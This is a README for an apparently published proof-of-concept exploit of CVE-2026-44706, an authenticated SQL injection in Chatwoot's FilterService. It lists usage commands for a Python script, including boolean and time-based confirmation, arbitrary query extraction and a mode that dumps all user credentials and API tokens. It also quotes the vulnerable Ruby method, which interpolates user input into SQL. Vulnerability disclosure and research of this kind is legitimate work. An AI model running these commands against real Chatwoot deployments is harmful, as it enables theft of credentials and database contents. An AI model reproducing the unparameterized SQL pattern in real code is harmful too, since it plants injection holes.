hakaioffsec/cve-2026-44706Chatwoot SQL injection in FilterService
A proof-of-concept exploit for CVE-2026-44706, a SQL Injection vulnerability in Chatwoot's FilterService#lt_gt_filter_values that allows any authenticated agent to read the entire PostgreSQL database including user credentials and API tokens. Read the full article here.
Usage:
# Verify injection (boolean-based)
$ python3 poc.py --url http://TARGET --token TOKEN --account-id 1 --mode check
# Time-based confirmation
$ python3 poc.py --url http://TARGET --token TOKEN --account-id 1 --mode timebased
# Extract arbitrary SQL query result
$ python3 poc.py --url http://TARGET --token TOKEN --account-id 1 --mode extract --query "SELECT version()"
# Dump all user credentials and API tokens
$ python3 poc.py --url http://TARGET --token TOKEN --account-id 1 --mode creds
In app/services/filter_service.rb (line 91), user input is interpolated directly into SQL without parameterization:
def lt_gt_filter_values(query_hash)
value = query_hash['values'][0] # ← user input, no sanitization
operator = query_hash['filter_operator'] == 'is_less_than' ? '<' : '>'
"#{operator} '#{value}'::#{attribute_data_type}" # ← raw interpolation
end
Every other operator in the class uses bind parameters (:value_N). Only is_greater_than and is_less_than are vulnerable.
